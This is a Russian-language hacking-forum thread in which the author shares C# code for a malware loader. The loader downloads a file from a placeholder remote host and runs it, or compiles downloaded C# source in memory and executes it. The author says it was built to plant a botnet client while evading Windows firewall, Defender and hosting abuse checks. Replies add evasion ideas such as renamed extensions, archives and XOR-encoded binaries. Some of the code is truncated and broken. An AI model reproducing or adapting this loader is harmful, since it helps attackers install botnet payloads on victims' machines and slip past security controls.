Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Заливка шела через C# или компиляция на лету (https://forum.antichat.xyz/showthread.php?t=440626)

SooLFaa 03.05.2016 17:08

Всем Здрасте. Сижу я значит (а я это тот, кто боготворит Мелкомягких и в частности C#, powershell) и захотелось вот мне написать downloader shell(далее лоадер). Речь не пойдет о старом добром и уже затертым до дыр ShellExecute, или wget, или прочей мега известной функции, потому что........

ДА ПОТОМУ ЧТО ЭТО НИ ХРЕНА УЖЕ НЕ РАБОТАЕТ.

Но, обо всем по порядку.....

Начнем с требований к нашему лоадеру:

* В фоновом режиме скачивать и запускать C++/C# программы;

* Не палиться сетевыми экранами в windows при скачивании exe;

* Обойти хостинговые проверки и прочую чушь при попытке скачать с ftp Windows;

Сразу оговорюсь, сие способ имеет кучу недостатков и так же ограничений и спасает далеко не ото всего, но мою задачу он решил. А задача моя была, не много ни мало посадить клиент бота. (Надо ли говорить, что для работы сие прилажухи необходимо установленный .Net)


Попытка 1.

Я как человек особо ̶х̶и̶т̶р̶о̶ж̶о̶п̶ы̶й̶ умный пошел простым путем.

Залил файл на хостинг как есть, надеялся его скачать программно и запустить через мною любимую ShellExecute;




http://s001.radikal.ru/i193/1605/3f/b8eaf1130dae.jpg


Код:

Code:
public enum ShowCommands : int
        {
            SW_HIDE = 0,
            SW_SHOWNORMAL = 1,
            SW_NORMAL = 1,
            SW_SHOWMINIMIZED = 2,
            SW_SHOWMAXIMIZED = 3,
            SW_MAXIMIZE = 3,
            SW_SHOWNOACTIVATE = 4,
            SW_SHOW = 5,
            SW_MINIMIZE = 6,
            SW_SHOWMINNOACTIVE = 7,
            SW_SHOWNA = 8,
            SW_RESTORE = 9,
            SW_SHOWDEFAULT = 10,
            SW_FORCEMINIMIZE = 11,
            SW_MAX = 11
        }

        [DllImport("shell32.dll")]
        static extern IntPtr ShellExecute(IntPtr hwnd,string lpOperation,string lpFile,string lpParameters,string lpDirectory,
  ShowCommands nShowCmd);

        static void Main(string[] args)
        {
            string fileName = @"C:\1.exe";
            using (WebClient myWebClient = new WebClient())
            {
                string url = @"http://WEB-HOST/shell/Shell.exe";
                using (WebClient webClient = new WebClient())
                {
                    webClient.DownloadFile(url, fileName);
                }
            }
            ShellExecute(IntPtr.Zero, "open", fileName, String.Empty, String.Empty, ShowCommands.SW_SHOWNORMAL);
        }

Как и предполагалось файл даже не удалось скачать, аналогично используя FTP сервис в Windws 8. 10. И вот тогда на ум приходит компиляция на лету...

Суть метода в том, что мы скачиванием не готовый файл, а исходный код, а компилируем его на лету. Благодаря радостям рефлексии, то один лоадер может работать и для C++ и F#, но не об этом.


Итак попытка #2.


Заливаем shell.txt со следующим содержанием

Код:

Code:
using System;

namespace ShellCode
{
    public class Shell
    {
        public void Execute(string _value)
        {
            System.Diagnostics.Process.Start("calc.exe");
        }
    }
}



http://s013.radikal.ru/i325/1605/74/5d27ad973fdf.jpg



Ну и собственно код самого лодера.


Класс конструктор компилятора FabrikaShell

Код:

Code:
public class FabrikaShell
    {
        private CompilerResults Results = null;
        public void Compile(string _source, string[] _assemblies)
        {
            CompilerParameters compilerParameters = new CompilerParameters();
            compilerParameters.GenerateInMemory = true;
            if (_assemblies != null)
            {
                foreach (string asm in _assemblies)
                {
                    compilerParameters.ReferencedAssemblies.Add(asm);
                }
            }
            Results = new CSharpCodeProvider()
                .CompileAssemblyFromSource(compilerParameters, _source);
            if (Results.Errors.Count > 0)
            {
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i  parameters = new List();
            parameters.Add("VALUE");
            myMethod.Invoke(run, parameters.ToArray());

        }
        static void Main(string[] args)
        {
            public const string FileToPath = @"C:\1.txt";
            using (WebClient myWebClient = new WebClient())
            {
                string url = @"http://URLTOSHELL/shell/Shell.txt";
                using (WebClient webClient = new WebClient())
                {
                    webClient.DownloadFile(url, FileToPath);
                }
            }

            string code = String.Empty;

            using (StreamReader rd = File.OpenText(FileToPath))
            {
                code = rd.ReadToEnd();
            }
   
            RunScript(code, "ShellCode.Shell");
            Console.ReadKey();
        }
    }



ПРОФИТ

http://s019.radikal.ru/i604/1605/9b/d00694972c9f.jpg

faza02 03.05.2016 17:27

цвет сделайте нормальный

SooLFaa 03.05.2016 17:30

Цитата:

Сообщение от yarbabin
yarbabin said:

цвет сделайте нормальный

Лучше?

Dr.Strangelove 03.05.2016 17:46

Странная тема. Если такая проблема с заливкой exe, то как автор собирается забросить и запустить лоадер?! С другой стороны, если уже лоадер запущен и фаервол проверяет расширения то можно просто заливать exe с другими расширениями и переименовывать в ехе перед запуском. Если идет проверка тела файла на предмет его исполняемости, то заливать заархивированный ехе (можно под паролем) с последующей распаковкой и запуском или скачивать dll и подгружать её. Вариантов хватает.

SooLFaa 04.05.2016 02:18

Цитата:

Сообщение от Dr.Strangelove
Dr.Strangelove said:

Странная тема. Если такая проблема с заливкой exe, то как автор собирается забросить и запустить лоадер?! С другой стороны, если уже лоадер запущен и фаервол проверяет расширения то можно просто заливать exe с другими расширениями и переименовывать в ехе перед запуском. Если идет проверка тела файла на предмет его исполняемости, то заливать заархивированный ехе (можно под паролем) с последующей распаковкой и запуском или скачивать dll и подгружать её. Вариантов хватает.

То, что вариантов хватает, никто не спорит (таже DLL injection никуда не делась). Но проблема возникала именно с программной подгрузкой. У меня была задача реализовать лоадер для ботнета, который бы асинхронно собирал любой шелл. Простым скачать запустить это не удалось (даже защитник windows 10 блочил такие вещи) или в силу ограничений того же hostinger'а. (1 вариант). Но скачивая текстовый файл - эти проверки (в том числе и Abuse устойчивость) удалось обойти именно компиляцией на стороне клиента. Здесь еще один плюс C# (А точнее .Net библиотеки), что не надо вместе с лоадером держать компилятор C# (в отличии от C++). В целом если говорить о пользе, то очевидно, что применимо только для .Net'овских программ. Для меня как закоренелого шарписта - этот способ вполне интересен (когда я о нем узнал), поэтому и решил крутануть, хотя бы для того, чтобы просто знать, а там кто знает, может когда - нибудь, кто нибудь пидумает, что то более оригинальное, а может быть - это просто очередная темка по практикуму динамического программирования. Минусов тоже хватает. Однако, Спасибо за отзыв.

mailbrush 04.05.2016 20:34

Если брандмауэр/антивирь блочит программную загрузку бинарей, то что мешает проксорить этот бинарь на сервере, в лоадере прогрузить его и проксорить опять, тем самым восстановив оригинальный файл?

SooLFaa 05.05.2016 00:17

Цитата:

Сообщение от mailbrush
mailbrush said:

Если брандмауэр/антивирь блочит программную загрузку бинарей, то что мешает проксорить этот бинарь на сервере, в лоадере прогрузить его и проксорить опять, тем самым восстановив оригинальный файл?

Неееее, об антивире здесь речи не идет. Обход антивирусов - это уже совсем другая песня. А остальное чуток не понял.....

mailbrush 05.05.2016 00:48

Например так (полу-псевдокод):

[CODE]
Code:
binary = load_file('target.exe');
for(int i = 0; i

SooLFaa 05.05.2016 01:12

[QUOTE="mailbrush"]
mailbrush said:

Например так (полу-псевдокод):
[CODE]
Code:
binary = load_file('target.exe');
for(int i = 0; i


Время: 12:31